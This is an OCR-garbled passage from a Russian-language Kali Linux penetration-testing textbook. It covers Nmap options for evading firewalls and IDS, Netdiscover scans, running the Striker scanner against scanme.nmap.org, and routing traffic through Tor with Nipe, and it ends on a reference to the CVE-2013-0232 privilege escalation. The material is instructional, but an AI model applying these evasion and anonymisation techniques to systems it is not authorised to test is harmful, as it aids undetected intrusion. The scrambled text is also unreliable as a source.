O -f (fragment packets — «pparMeHTHPOBAHHBIE TTAKETHI») — Ha3HAUYEHUE Mapa-
MeTpa B TOM, 4TOObI 3aTPYAHUTH OOHapy KeHue makeToB. [Tocjie yKasaHust 9TOTO
napaMerpa Nmap pasge/uT naker, HaxoAsamuiica nocie IP-3aronoska, na 8 6aiit
WJIK MEHbIIIE.

O --mtu — MO3BOJISIET BBIGPATH Pa3Mep TAKETOB /st (pparMeHTAINI OCHOBHOTO MAKETa.
Maxcumanvroiii pasmep 6aoxa (MTU) nonxed GbITh KpaTeH BOCbMU, HHaye Nmap
BBIJIACT OMUOKY U 3aBEPIIHT PaboTy.

Q -D (decoy — «mpumaHKa») — UCTIOAB3Ys ATOT MapaMeTp, Nmap Gy/ieT OTIpaBisATh
30H/IbI OT YKA3aHHbIX 110JIb30BaTeIeM MoiiebHbiX [P-anpecos. Cmbica neiicTBus —
CKPBITD B (haiiiax :KypHayia nCTHHHBIN [ P-anpec mosb3oBatess. 1yig reHepupoBaHus
cayyaitnoro IP-ajgpeca BbI MOXkeTe MCII0JIb30BaTh MHCTPYMEHT RND miin RND : number.
B kauecTBe JIOKHOI 1€ UCMOJIB3YETCS XOCT, KOTOPBIN BBIZAET MMOTOK MAaKeTOB.
SI‘JTI/ITG7 4YTO HaJIM4Hne 6OJILH_IOI‘O KOJIMYECTBA OIPABJIAECMbBIX ITAKETOB MOJKET TIPH-
BECTH K Tieperpyske ceTu. [Ipu ckaHupoBaHUM KJINEHTCKON CETH cTapaiTech 3TOTO
usberar.

Q --source-port <Homep_nopma> Wi -g (/A0XHsI_nopm_UcmoYyHUKA) — 3TOT TTapaMeTp
MOZKeT OBbITh IIOJIE3HBIM, €CJIM OpaHAMayap HACTPOEH Ha IIPOILyCKaHUE BCEro BXOJIs-
1iero Tpaduka, MOCTYIAOIIETO C ONPE/IeIEHHOTO MTOPTA.

U --data-length — ¢ IOMOIIBIO DTOrO MapamMeTpa, 3aLaHHOTO 110 YMOJYaHNIO, Mbl
MoskeM n3beKaTh OOHAPYKEHUS TIPU CKAaHUPOBaHWHU. [IJ1s1 9TOTO U3MEHSAETCS JTMHA
JIAHHBIX, OTTIPaBJIsieMbIX Nmap.

O --max-parallelism — 0ObIYHO 3HaYeHHUe apaMeTpa paBHo 1. B aToMm ciyuae
Nmap Oyzer 0JHOBPEMEHHO OTIIPABJISITH HA TEJEBON KOMITbIOTEP He GoJiee OHOTO
30H/A.

O --scan-delay <Bpemsa> — napamerp npuUMeHsieTcs A 00Xo1a uaeHTU(hUKaTOpOB/
[P-aapecoB, KOTOPbIE UCIIOJIB3YIOT IIOPOrOBOE 3HAUEHUE JJIsk OOHAPYKEHUS AKTHB-
HOCTU CKaHUPOBAHUS ITIOPTOB.

Mcnonb3ys pykosoacteo Nmap (http://nmap.org/book/man-bypass-firewalls-
ids.html), Bbl MOXeTe NO3KCNepPMMEHTUPOBATb C APYrMMK MapaMeTpamu
MaCKMpPOBKM.



CkaHupoBaHue ¢ Netdiscover 187

CkaHupoBaHue ¢ Netdiscover

Netdiscover — etie os nHCTPYMEHT 0OHApYsKeHust, Berpoernbiil B Kali Linux 2018.2.
B Hacrosiiee Bpems ero Bepcust — .03-pre-beta 7, ee Hanucan Xaiime ITenaspba (Jaime
Penalba). C uctiosibzoBanuem sarpocoB ARP Netdiscover MOKET BBITIOJIHSITD PA3BEIKY
1 0OHapyKeHKe Kak B OeCIIPOBOIHBIX, TAK U B KOMMYTHPYEMbIX CETX.

Yro6et 3amyctuth Netdiscover, BBeiuTe B KOMaHIHYIO CTPOKY TEPMUHAIA KOMaH-
1y netdiscover -h (puc. 5.22). [TapameTp -h 103BoJIsIET OTOOPA3ZUTH BCE MAaPAMETPhI,
KOTOPbIE MOKHO TPUMEHUTD MTPU UCTIOJB30BAHIHI 3TOTO HHCTpyMeHTa. Eciin BbI BBe-
JieTe oJHy KoMaH/Iy netdiscover, Gy/er 3alylleHo CKaHUPOBAHUE ¢ TTapaMeTpaMu 110
YMOJTYAHUIO.

Netdiscover ©.3-pre-beta7 [Active/passive arp reconnaissance tool]
Written by: Jaime Penalba =<jpenalbae@gmail.com=

Usage: netdiscover [-1 device] [-r range | -1 file | -p] [-m file] [-s time] [-n
node] [-c count] [-f] [-d]l [-5] [-P] [-<]
-i device: your network device
-r range: scan a given range instead of auto scan. 192.168.6.8/24,/16,/8
-1 file: scan the list of ranges contained into the given file
-p passive mode: do not send anything, only sniff
-m file: scan the list of known MACs and host names
-F filter: Customize pcap filter expression (default: "arp")
time: time to sleep between each arp request (milliseconds)
node: last ip octet used for scanning (from 2 to 253)
-c count: number of times to send each arp reques (for nets with packet loss)
-f enable fastmode scan, saves a lot of time, recommended for aute
-d ignore home config files for autoscan and fast mode
-5 enable sleep time supression between each request (hardcore mode)
-P print results in a format suitable for parsing by another program
-N Do not print header. Only valid when -P is enabled.
-L in parsable output mode (-P), continue listening after the active scan is c
ompleted

If -r, -1 or -p are not enabled, netdiscover will scan for common lan addresses.
root@kali:~#

Puc. 5.22. Netdiscover 3anyuieH ¢ napameTpom —h

[lna ckanupoBanus quanaszona [P-agpecoB BBeinTe KOMaHITy € TApaMeTPOM —r U JI0-
GasbTe nccaenyembiii IP-auanason. s npuMepa Mbl BBeleM KoMaHLy netdiscover -r
0.10.0.0/24. JIobaBuB mapameTp -p, BbI MOXKeTe BHIOPATh PEKUM MACCUBHOTO CKAHU-
poBanus (puc. 5.23).

BbinosiHus ckanupoBanue, Mbl 00Hapyskuiu paboune cranuuu Dell u HP, yerpoii-
ctBa Cisco u faxxe MHOTO(pYHKIIMOHAJIbHBIE YCTPOHCTBA Xerox.
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28 Capture& ARP Req/Rep packets, from 23 hosts. Total size: 1688

MAC Address MAC Vendor / Hostname

Cisco Syslems, Inc
pell Inc.

Hewlett Packard
Cisco Systems, Inc
Dell Inc.

Hewlett Packard Enterprise
Hewlett Packard
XEROX CORPORATION
Hewlett Packard
Xerox Corporation
Hewlett Packard
Hewlett Packard
Hewlectt Packard
Hewlett Packard
Cisco Systems, Tnc
Cisco Systems, Inc
Cisco Systems, Inc

T e I o T e R R R S N =]

Puc. 5.23. CkaHnposaHue noptos ¢ nomobto Netdiscover

ABTOMaTM4eCcKoe CKaHMpoBaHue C rnoMoLlbto Striker

Striker — ato BcTpoeHHBIN B Python MHCTPYyMEHT aBTOMATHYECKOTO CKAHUPOBAHMSI
u cbopa XOpoIIo CKpbITOl wHpopManuu. Striker BbITIOHSIET CKAHUPOBAHKE TIOP-
TOB, TIPUBSI3AHHBIX K HUM CJIYKO0, a TaKKe ySI3BUMOCTEH, IPUCYIUX 3TUM CIIyKOaM.
Kak u paccmoTpentbie B ipezbiayiieii riase nncrpymentsl (Red Hawk u Devploit),
Striker mpocT B ycTaHOBKE U UCTIOIb30BAHUN.

Cnauana Striker HyskHO ckayarb. /It 9TOr0 OTKpOIiTe TEpMUHAI U, BBEAS CJE/LY-
OTIYI0 KOMaH/Ly, TiepeiiinTe Ha Pabouuii cron (MJIH B KaTasior 1o BaieMy BeI60pY):

cd Desktop

Y1066 KIOHUPOBATh Striker Ha Pabounii cTon UM B BEIOpAHHBIN BaMH KaTaJaor
(puc. 5.24), BBeINTE CJAEAYIONTYTO KOMAH/LY:

git clone https://github.com/s@md3v/Striker.git

root@kali:~# cd Desktop

root@kali:~/Desktop# git clone https://github.com/s®md3v/Striker.git
Cloning into 'Striker'...

remote: Counting objects: 237, done.

remote: Compressing objects: 1808% (7/7), done.

remote: Total 237 (delta 2), reused D (delta ©), pack-reused 230
Receiving objects: 100% (237/237), 123.63 KiB | 201.00 KiB/s, done.
Resolving deltas: 100% (123/123), done.

root@kali:~/Desktop#

Puc. 5.24. KnoHvpoaHue Striker Ha Pabounii cton
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[Tocuie ycremnoro 3aBepiieHys 3arpy3Ku repeiijiuTe B katajor Striker (puc. 5.25).
Jlns1 aToro BBeiuTe KOMaHIy cd Striker, a 3aTeM ¢ TTOMOIIBIO KOMAH/IbI 1S TPOCMOTPUTE
coxpaHeHHbIe B rarke (aiiabl. Bbl 10/KHBI YBUIET CITUCOK U3 TISITH (DAiiIoB, BKIIOYAsT
requirements.txt u striker.py.

@kali:~/Desktop# cd Striker
root@kali:~/Desktop/Striker# 1s

LICENSE plugins README.md requirements.txt striker.py
root@kali:~/Desktop/Striker#

Puc. 5.25. Cnucok ainoB, COXpaHeHHbIX B narnke Striker

Yro6wt Striker paboran 6e3 ommbOK, CHaua A MbI IOJLKHBI HCIIOIB30BATH YCTAHOB-
MUK yrpasieHus makeramu (pip). OH obecrieunT BBITIOIHEHNE BeeX TpeOGOBaHUil, He-
00xoMMBbIX 11 3amycka Striker u moxyis Whois (kotopbiil ipeHasHadet ajst coopa
uHGopmaIun).

[lng 3ammycka yCTaHOBIITAKA BBeIeM /IBE€ KOMAH/IbI: CHavasia pip install -r require-
ments.txt, mocsie — pip install whois (puc. 5.26).

@kali:~/Desktop/Striker# pip install -r requirements.txt
Collecting requests[socks]==2.18.1 (from -r requirements.txt (line 1))
Downloading https://files.pythonhosted.org/packages/5a/58/671011e3fT4ab6e29693
22267d78dcfdalbf4d1576551df1lcce93cd7239d/requests-2.18.1-py2.py3-none-any.whl (8
8kB)
100% | I | 52kE G1KE/s
Requirement already satisfied: mechanize==0.2.5 in /fusr/lib/python2.7/dist-packa
ges (from -r requirements.txt (line 2))
Collecting bs4==0.0.1 (from -r regquirements.txt (line 3})
Downloading https://files.pythonhosted.org/packages/10/ed/7e8b97591T6T45617413
9ecPB89c769T89%9a%4ala4025fe967691de9711314/bs4-0.0.1. tar.gz
Collecting python-whois (from -r requirements.txt (line 4))
Downloading https://files.pythonhosted.org/packages/63/8a/8ed58b8b28b6200celcd
fed4e4T3bbcBbB5a79eef2aabl5ec2fef511b3d68/python-whois-0.7.0.tar.gz (82kB)
100% | N | 92<B 244KB/s
Collecting whois {(from -r requirements.txt (line 5))
Downloading https://files.pythonhosted.org/packages/13/e8/656817674977bb7dd1dc
ee5e779daalodf65eca3dad65a018b0614bT2ac9/whois-0.7. tar.gz
Requirement already satisfied: certifi»=2017.4.17 in /fusr/lib/python2.7/dist-pac
kages (from requests[socks]==2.1B.1-=-r requirements.txt (line 1)}
Requirement already satisfied: chardet<3.1.0,>=3.0.2 in /fusr/lib/python2.7/dist-
packages (from requests[socks]==2.18.1-=-r requirements.txt (line 1})
Collecting urllib3<1.22,>=1.21.1 (from requests[socks]==2.18.1->-r requirements.

Puc. 5.26. 3anyck ycTaHoBLUuMKa

[Tocne ycmemnmHo ycTaHOBKY BCeX KOMIIOHEHTOB BBEANTE KOMAHAY pip install
who is (zae eciu KOMIIOHEHT y:ke ObLlI ycraHoBjen) (puc. 5.27).

[root@kali:~/Desktop/Striker# pip install whois

|Requirement already satisfied: whois in /usr/local/lib/python2.7/dist-packages

Puc. 5.27. YctaHoBKa kOMMoOHeHTa who is
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Kor/a Bce KOMIIOHEHTBI OyyT yCTaHOBJIEHBI, U151 3amycka Striker BBeauTe KOMaHILy
python striker.py (puc. 5.28).

cali:~/Desktop/Striker# python striker.py

Puc. 5.28. 3anyck npunoxenus Striker

Wrak, Striker samymien. Terepb /11 HaYaIa CKaHUPOBaHUs cJieyeT BBectr [P-ampec
nmm URL 11e71€Boi MamiHbI.

st aTOTO TIpUMeEpa MBI UCTIOIB30BAIHN CalT http://scanme.nmap.org/, YIIOMSAHYTHII
B pazjnenie «CkanupoBanne Nmaps». CpaBHUTEe Pe3yJIbTaThl CKAHUPOBAHUS C PE3YJIbTa-
TaMH, oJydeHHsiMu Nmap patee (puc. 5.29).

N\
Enter the target: scanme.nmap.org
IP Address : 45.33.32.156
Server: Apache/2.4.7 (Ubuntu)
Clickjacking protection is not in place.
Operating System : Ubuntu
scanme.nmap.org doesn't seem to use a CMS
Honeypot Probabilty: 8%

~] Trying to gather whois information for scanme.nmap.org

+] Whois information found
] Unable to build response, visit https://who.is/whois/scanme.nmap.org

STATE SERVICE VERSION
closed ftp
open ssh OpenSSH 6.6.1pl Ubuntu 2ubuntuz.10 (Ubuntu Linux;
2.0)
closed telnet
open http Apache httpd 2.4.7 ((Ubuntu))
closed pop3
closed imap
closed https
ms-wbht-server

Puc. 5.29. Pe3ynbTathl, MONy4eHHble C MoMoLbio Striker

O6paruTe BHUMaHUe, 4YTO aTaKylollas MallliHa Hallljia csegeHus o samucu DNS,
a TaKIKe /1Ba aJipeca aJIeKTPOHHOI mouTsl (puc. 5.30).
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[+] Host Records (A)
scanme.nmap.orgHTTP: (scanme.nmap.org) (45.33.32.156) AS63949 Linode, LLC United States

[+] TXT Records

[+] DNS Map: https://dnsdumpster.com/static/map/scanme.nmap.org.png
[=] Initiating 3 intel modules

[>] Loading Alpha module (1/3)

[>] Beta module deployed (2/3)

[>] Gamma module initiated (3/3)

|+] Emails tound:

pixel-1532702357215843-web-@scanme.nmap.org
pixel-1532702359779164-web-@scanme.nmap.org

Puc. 5.30. HaiigeHHble agpeca 3M1eKTPOHHOM NOoYTbl U AaHHble 0 3anucsx DNS

AHOHMMHOCTbL € noMoLubio Nipe

Nipe — 3T0 WHCTPYMEHT, KOTOPBII B KauecTBe IMLI03a M0Jb30BATEIS 110 YMOJTIAHHUTO
3azetictByet Tor-ceTpb, HalpaBJisist yepe3 Hee Bech Tpaduk. O6braHO Tor ucronbyercst
U151 00eCIIeueHnsT HEKOTOPOIo YPOBHS KOH(UIEeHIIHaIbHOCTH 1 aHoHUMHOCTH. Clieyer
OTMETHUTb, YTO TIPU UCTIOJIb30BAHUH JAHHOTO HHCTPYMEHTA JIJIst 00eCTIeueHIsI aHOHVIM-
HOCTH MacKUpoBaTh oauH IP-azpec HemocTaTOYHO, TaK KaK MOKET ObITh JOCTYIIHA
unrdopmaiiug DNS. [l nmoaHO#M KOHPUIEHITNMATBHOCTH U aHOHUMHOCTH CJIe/lyeT 3a-
MackupoBaTh Kak [P, Tak 1 DNS.

Cuauana He0OX0AUMO yeTaHOBUTE Nipe, KIOHUPOBaB €ro Ha Pabouunit cTon W B Ka-
TaJIor 10 Baliemy Bbi6opy. OTKpoiiTe TepMUHAJ, [IepeliinTe B KaTaJor Ha PaboyeM cTone
WY B BbIOpaHHbBII BaMU KaTaJior:

cd Desktop

Knonupyiite Nipe #a cBoii kommbiotep (puc. 5.31). /lJist aToro BBEAUTE CIIEIYIONIYIO
KOMAaH/Y:

git clone https://github.com/GouveaHeitor/nipe.git

ali:~# cd Desktop
root@kali:~/Desktop# git clone https://github.com/GouveaHeitor/nipe.git
Cloning into 'nipe’'...
remote: Counting objects: 744, done.
remote: Compressing objects: 180% (3/3), done.

remote: Total 744 (delta 8), reused 0 (delta 0), pack-reused 741
Receiving objects: 100% (744/744), 160.74 KiB | 488.00 KiB/s, done.
Resolving deltas: 100% (382/382), done.

root@kali:~/Desktop#

Puc. 5.31. KnoHupoBaHve Nipe B BbIGpaHHbIN kaTanor
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Benute komany cd Nipe, uto6br mepeiitu B katasor Nipe. IIpocmorpute comepski-
Moe 3Toro Kartasora (puc. 5.32). Jlist aToro BBeuTe KOMaHIy 1s.

kali:~/Desktop# cd nipe
i:~/Desktop/nipe# ls

lib LICENSE.md nipe.pl README.md

Puc. 5.32. Cogepxwumoe katanora Nipe

Yro6er ycranoBuTh Nipe, BBeIiTe KOMaH/Ly cpan install Switch JSON LWP: :UserAgent.
[Ipu mosgBeHnn 3ampoca Ha BBITIOJHEHNE aBTOMATUYECKON YCTAHOBKU HAKMUTE KJla-
Butry Enter (puc. 5.33).

i:~/Desktop/nipe# cpan install Switch JSON LWP::UserAgent
Loading internal null logger. Install Log::Logd4perl for logging messages

CPAN.pm requires configuration, but most of it can be done automatically.
If you answer 'no’' below, you will enter an interactive dialog for each

configuration option instead.

Would you like to configure as much as possible automatically? [yes]

Puc. 5.33. YcraHoska Nipe

s yeraroBku 3aBucuMocteii Nipe BBITIOJTHUTE CAEAYIONTYI0 KOMaHIy: perl nipe.pl
install (puc. 5.34).

li:~/Desktop/nipe# perl nipe.pl install

Reading package lists... Done

Building dependency tree

Reading state information... Done

iptables is already the newest version (1.6.2-1).

tor is already the newest version (9.3.3.9-1).

The following packages were automatically installed and are no longer required:
dh-python libbabeltrace-ctfl libcamel-1.2-60 libcdiol7 libcuel
libedataserver-1.2-22 libedataserverui-1.2-1 libfile-copy-recursive-perl
libhttp-parser2.7.1 libis115 libllvm5.0 libnfs8 libpoppler73
libggis-core2.18.17 libggis-gui2.18.17 libggis-networkanalysis2.18.17
libggispython2.18.17 libsynctexl libtcl8.5 1ibtk8.5 1ibx265-146
openjdk-9-jdk openjdk-9-jdk-headless openjdk-9-jre python-subprocess32
python-unicodecsv python3-configargparse python3-editorconfig python3-flask
python3-itsdangerous python3-jsbeautitier python3-pyinotify
python3-simplejson python3-werkzeug tk8.5

Use 'sudo apt autoremove' to remove them.

8 upgraded, 0 newly installed, 8 to remove and 539 not upgraded.

root li:~/Desktop/nipe#

Puc. 5.34. YcTaHoBka 3aBucumocTelt Nipe

Iepen 3amyckom Nipe poBepbTe obtenocryntbiii [IP-agpec u DNS IP u cpaBHuTE
nx c¢ IP-agpecamu nocse sanycka Nipe. Bor ajpeca 1ByX caliToB, KOTOpble MOK-
HO MCHOJIb30BATh JJId IIPOCMOTPA O6H16[[OCTyHHOFO IP: www.whatsmyipaddress.com
u www.dnsleak.com.
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Jliist 3armycka cepsucoB Nipe BBeuTe KoMaHay perl nipe.pl start (puc. 5.35).

[@Kall:~/DesKtop/nipe#
ali:~/Desktop/nipe# perl nipe.pl start

ali:~/Desktop/nipe#

Puc. 5.35. 3anyck cepsucos Nipe

Yro6bl 3aMacKupoBaTh cBOI 1P, BbI MosKeTe 1epesanycTuThb ciayskoy. Jas aToro
BBeINTe KOMaHy perl nipe.pl restart. Onucanue Bcex KOMaH/I, peHA3HAYEeHHBIX
IS yCTAaHOBKU M IPUMeHeHUsT mHCTpyMenTa Nipe, Bbl Haiijere Ha crpanuie GitHub,
PacIosIoKeHHOM TI0 azpecy https://github.com/GouveaHeitor/nipe.

Jlnsg nposepku [P u DNS ucriosnb3yiite caiiTel, niepeuncientbie patee. C UX MoMo-
IIBIO BB CMOJKETE YOEIUTHCS, YTO BAIllH HACTPOUKY JIEHCTBUTEIbHO U3MEHIINC.

Pe3tome

B ar0ii riaBe Mbl 00CyinIN, Kak 0OHAPYKUTH 11€J1b. [JlaBa HaYMHAIACh C 00CYKICHMS
METO/I0B OOHAPYKEHUs TeJn: UAeHTU(DUKAIIUY TeJeBOI MAIIUHBl U OTPeAeTeHUs
HCIIOJIb3yeMOM Ha Heil olepallMOHHON CUCTEMBL. 3aTeM MbI IIPOAOJIKILIN PabOTy € MH-
cTpyMenTamu, Bxogamumu B coctas Kali Linux 1 GitHub. Otu nncrpymenTs! npeama-
3HAYEHDI JIJIs1 OOHAPY/KEH U U UAeHTU(DUKAIIUH [[eJIEBBIX MAIITHH.

Jlajiee MbI pacCMOTPEJN HECKOJIBKO HHCTPYMEHTOB JIJist OOHAPYKEHUST U CKAHUPO-
BaHus 1esieBbIx Marui: ping, Nmap, pOf u Striker. Kpome Toro, Bbl y3Haiu, Kak ¢ 11o-
Mmotibio Nipe 3amackuposath Bait [P u DNS.

B criemyiorieii riiaBe MbI TIOTOBOPUM O CKAHUPOBAHUU YSI3BUMOCTEN M1 MHCTPYMEHTax
Kali Linux, KoTopble /st 5TOr0 MOKHO HUCIIOJIb30BaTh.

Bonpocel

1. Kaxoit mHCTpYMEHT MOKHO TIPUMEHSTH JIJIST OTIPaBKU 3x0-3ampocoB ICMP onHo-
BPEMEHHO HECKOJBKUM XOCTaM ?

CxopKo crienapues jocTymmHo B Nmap Bepcun 7.77
Kakoso naznauenue ¢ara FIN?

Yo o3HavaET MOHATHE «OT(PUIBTPOBAHHBIN TOPT» ?

AN G

Kaxkoii mapamerp Nmap [03BOJISIET 3aTPYIHUTH 00OHAPY/KEHKE TAKETOB IIPU 06X0/1e
OGpaHIMaysPOB 1 UACHTH(HUKATOPOB?

6. Kaxas koMaH/1a HCIIOJIb3YeTCsI LISl CKaHMPOBaHMs C IIOMOIIbIo cpeacTBa Netdiscover
nuarrazona [P-ajgpecos?

7. Kaxoit mapamerp Netdiscover mpuMeHsieTcst /IS 3alTyCKa MaCCUBHOTO CKaHUPO-
BaHuUs?

8. Kakoii caiiT MOKHO HCTIOTH30BATh JIJIST TPEAOTBpaleHns yTeuku naopMarmn DNS?
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ﬂ,OI‘IOJ‘IHVITerIbeIe MaTepualibl

O Cerebie nacTpyMeHThI Linux: https://gist.github.com/miglen/70765e663c48ae0544da08
c07006791f.

a O6pa6OT‘-II/IK ciierapueB Nmap: https://nmap.org/book/nse.html.

O Mertoas! ckaHUPOBAHUS TTOPTOB: https://nmap.org/book/man-port-scanning-techniques.html.



CkaHupoBaHue
YS3BUMOCTEN

Cxanuposanue ys36umocmeti — TPOIECC BBISIBJIEHUS W aHAJIN3a KPUTUYECKUX HEJO-
cTaTKoB 6€30TacHOCTH B IieJeBo cpese. VIHorma aTy onepaiuio Ha3biBaioT OIEHKON
ys3BuMmoctr. CKaHupoBaHue ysSI3BUMOCTEN — OJ/IHA M3 OCHOBHBIX 3a7[a4 TTPOTPAMMBbI
BBISBJIEHUS W YCTPAHEHUST TUX HeOCTaTKOB. C €ro oMOIIbI0 MOKHO TTPOAHATU3UPO-
BaTh BCe JIEMEHTHI yiIpasennsa 6ezonacHoctbio U T-undpacrpykrypsl. Ckanupopame
YSIBBUMOCTEH TIPOU3BOANTCS TIOCJIE TOTO, KaK MbI OOHAPYSKUIIM, COOPAIN U IEePEYrCININ
uHbopMalio 00 nHMpaCTPYKType 1ereBol crucTeMbl. MHGopMaims, mosydeHHast mocje
CKaHUPOBAHUS CUCTEMBI HA YSI3BUMOCTH, MOKET ITPUBECTU K KOMITPOMETAIINH 11€JIEBOI
CUCTEMBI, HAPYIIEHWIO €€ TIeJIOCTHOCTUA U KOH(DUIEHITNATHHOCTH.

B aT0ii riaBe Mbl 00Cya1MM ABa O0LIMX THIA YA3BUMOCTEH 1 IIPEICTABUM Pas/InyHble
CTaH/IAPTHI /7151 UX Kaaccuduraruu. Mbl TaksKe pACCMOTPUM HEKOTOPbIE U3BECTHBIE MH-
CTPYMEHTBI OTIEHKU YSI3BUMOCTH, MTPEIOCTABJISIEMbIE B PAMKAX OTI€PAIMOHHON CUCTEMbI
Kamu Linux. B aToii rimaBe nssaraiotrcst cjieyioniue TeMbl.

O TouATHsa ABYX OGIINX THITOB YSI3BUMOCTET: TOKATBHBIE U YIATECHHBIE.

O Krnaccudukaius ysS3BUMOCTEH, YKa3bIBAIONAs HA OTPACIEBON CTAaHAAPT, KOTOPBIi
MOKET OBbITh UCIIOIb30BaH JJIsl CHCTEMATU3AIMY JIIOOOH YSA3BUMOCTH 1 PacIipeieie-
HUS B COOTBETCTBUU C OIIPe/IeJIEHHBIMY ITPU3HAKAMMU.

O 3HaKOMCTBO ¢ HECKOJbKUMH WHCTPYMEHTAMM JIJIST TIONCKA U aHATN3a YSI3BUMOCTEHH,
TPUCYTCTBYIONIUX B I1eJieBOH cpefie. [IpencTaBieHHble THCTPYMEHTHI pacipeieIeHbI
B COOTBETCTBUY C MX OCHOBHBIMU (DYHKITUSIMHE, CBSI3AHHBIMHE C OIIEHKON Oe30TacHO-
ctu. ITo Takue HHCTPyMenThl, Kak Nessus, Cisco, SMB, SNMP u cpe/icTBa ananimnsa
BeO-TIPUIIOKEHUIA.

O6paTI/IT€ BHUMaHHE, YTO HE3aBUCUMO OT TOTO, TECTUPYEM Mbl BHEITHIOIO NJIN
BHYTPEHHIOIO CE€Tb, PYyYHbIE 1 aBTOMATU3NPOBaHHBIC ITPOIECAYPbI OIIEHKN yHSBHMOCTefI
JOJIZKHBI MCITOJIb30OBATbCA ITOPOBHY. Ecan SHHGﬁCTBOBaTb TOJIBKO aBTOMATUYECKUI
PEXNM, MOKHO ITOJIYYUTb 60JIbIIIOE KOJIMYECTBO JIOKHBIX Cpa6aTI)IB8.HI/II';I n OTpHHaHHfI.
KpOMe TOTO, OY€HDb BaKHa TECOPETUYECKAs ITOATOTOBKA UCITbITATEJISI Ha TIPOHMKHOBEHUE,
a TaKK€ TO, HACKOJIbKO XOPOHIO OH 3HAECT MHCTPYMEHTHBI, C TIOMOIIIbIO KOTOPbHIX 6leeT
BBITIO/THATBHCA TECT. Ay,Z[I/ITOpy ITOCTOAHHO HYKHO COBEPHIECHCTBOBATb CBOM 3HaAHUSA
1 HaBbIKH.

n €I1e OAnH OY€Hb BasKHBIIT MOMEHT: ABTOMaTU3NPOBaHHaA OIICHKA YA3BUMOCTH HE SIB-
JIFAETCSA OKOHYATEJbHBIM PEHNICHUEM. briBaioT CUTYyalluu, KOria aBTOMaTU3NPOBaHHbIE
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CpeCTBA HE MOTYT OTPE/ETUTh JIOTHYECKUE ONTMOKH, CKPHITBIE YA3BUMOCTH, HEOTTY-
GJIMKOBAHHBIE YSI3BUMOCTH MPOTPAMMHOTO 0OECTICUEHHSI 1 YeIOBEUCCKIH (haKkTop, BIIUs-
foruii Ha 6e3omacHoCTh. [109TOMY PEKOMEHTYETCSI HICTIOb30BATh KOMILICKCHBIH TTOIXOI,
[IpelyCMaTpUBAIONINI IIPUMEHEHNE KaK aBTOMATU3UPOBAHHDBIX, TaK M PyYHBIX METO/IOB
OLIEHKH YSI3BUMOCTU. ITO TIOBBICUT YCIICIITHOCTD TECTOB HA IPOHUKHOBEHUE U TIPEJIOCTABUT
Hanbosiee 06BEKTUBHYTO HHHDOPMAIIIIO JIJIsT KCTIPABICHUS YSI3BUMOCTEIH.

TexHnyeckmne TpeboBaHuS

HoyTOyK uam HacTOIbHBII KOMIIBIOTED ¢ 00BEMOM OIIEPATHBHON MaMATU HE MeHee
6 T'6aiit, yeTbipexbsiiepHbIil Iporieccop n 500 THaiit Mecra Ha jkecTKOM aucke. B ka-
YecTBe ONMEPAIMOHHON cucTeMbl Mbl ucmobdyeM Kali Linux 2018.2 wim 2018.3 (kak
BUPTYATHHYIO MAITUHY WJIM CUCTEMY, YCTAHOBJICHHYIO Ha JKECTKOM Ancke, SD-kapre
niu USB-nakomnuree).

Tunbl ySA3BUMOCTEWN

CyImecTByeT TPy OCHOBHBIX KATETOPUU YSA3BUMOCTEH, KOTOPBIE, B CBOIO OUEPE/Ib, MOKHO
PaszesIMTh Ha JIOKAIbHBIE U yAAJEHHDIE, DTO yA3BUMOCTH, TOIYIEHHBIE TPU pa3padoTKe
HIPOrpaMMHOro obeciiedeHus, OIUOKU IPU Peajnusaliii IPOrpaMMHOro odeciedeHust
n yHSBI/IMOCTI/I, O6Hapy)KI/IBaeMbIe nmpun SKCH]IyaTaHI/H/I CUCTEMBI.

Q Vsssumocmu npu paspadomke — 0OHAPYKUBAIOTCS U3-32 HEJIOCTATKOB B TEXHUYECKUX
TpebOBaHUAX K TIPOTPAMMHOMY 00€CTIeYeHUIO.

Q Yassumocmu peaiusauuu — TEXHNYECKNE omnbKu 663OH3.CHOCTI/I7 HaﬁﬂeHHble B KO/Zle
CHCTEMDBI.

a BKCnﬂydmdlguOHHble yA3sumocmu — yA3BUMOCTH, KOTOPbIE MOTYT BOSHUKHYTDH U3-3a
HeraBHHbHOI;,I HaCTpOI;,IKI/I " pa3BOpav4rBaHUA CUCTEMbBI B IIeJIeBOI cpene.

Ha ocnose aTux TPEX KJIaCCOB Yy HaC €CTb IBa O6H_[I/IX THUIIa yHSBHMOCTeﬁI JIOKaJIbHbIE
1 yiaJaeHHbIe, KOTOPbIE MOTYT IIOABUTHCA B 00601 KaTeropmnu OInrCaHHbIX yﬁSBI/IMOCTefI.

JlokanbHble YA3BUMOCTU

Ecam 3710yMBITIIIIEHHUK TIOJIy4aeT JJOCTYII, BBITTIOTHSIS YacTh KOJA, 9TO Ha3bIBAETCS JI0-
KaavHOU YA36UMOCMb10. BOCIIOIb30BaBIINCD JaHHON YA3BUMOCTLIO, 3/I0YMBIIIICHHUK
MOJKET IMOBBICUTH CBOM TMPaBa JOCTYTIA ¥ MOJYIUTh HEOTPAHUYEHHBIH TOCTYIT K KOM-
MBIOTEPY.

PaccMoTpuM TIprMep, B KOTOPOM 3JI0YMBIJIEHHUK Bo6 MMeeT JIOKalIbHBIN JOCTYIT
K cucreMe, paboratorieii oz yrpasiaenuem Windows Server 2008 (32-paspsiHast miat-
dhopma x86). JlocTyr emy ObLT OTpaHITYEH AIMUHUCTPATOPOM P PeaU3allii OJUTHKI
6e30macHOCTH, B pe3yabTaTe 4ero Boby cTamo HeOCTYITHO OTIPEIEIEHHOE TIPIIOKEHHE.
B skcTpeMasbHBIX YCI0BUSAX B0O 06HAPY/KUJI, UTO ¢ MOMOIIIBIO BPEIOHOCHOTO (hpar-
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MEHTa KOJIa OH MOJKET MOJYYHUTh JOCTYI K KOMITBIOTEPY HA YPOBHE CUCTEMBI MU SIIPA.
Bocnosp3oBasiick xoporo usBecTHol ys3sumocTbio (Hanpumep, CVE-2013-0232,
GP Trap Handler nt!KiTrap0D), oH I10BBICUJI CBOM IIpaBa AOCTYIIA, YTO II03BOJILIO
€My BBITIOJTHATH BCE a/IMUHICTPATUBHBIE 33/[a41 ¥ TIOJY9aTh HEOTPAHMYEHHBII TOCTYII
K TIPUJIO’KEHUIO. JTO SICHO TTOKA3bIBAET HAM, KAaK 3JIOYMBINIJIEHHUK BOCIIOJIb30BAJICS
YSI3BBIMOCTBIO JIJIST TIOJTYYeHUST HECAHKIMOHUPOBAHHOTO JIOCTYIIA K CHCTEME.

[JononHutenbHble cBeaeHns 06 ysassmumocty CVE-2013-0232 MS v nosbiLle-
HMK npae aocTtyna B Windows MoXHO HaiTu no aapecy http://www.exploit-
db.com/exploits/11199/.
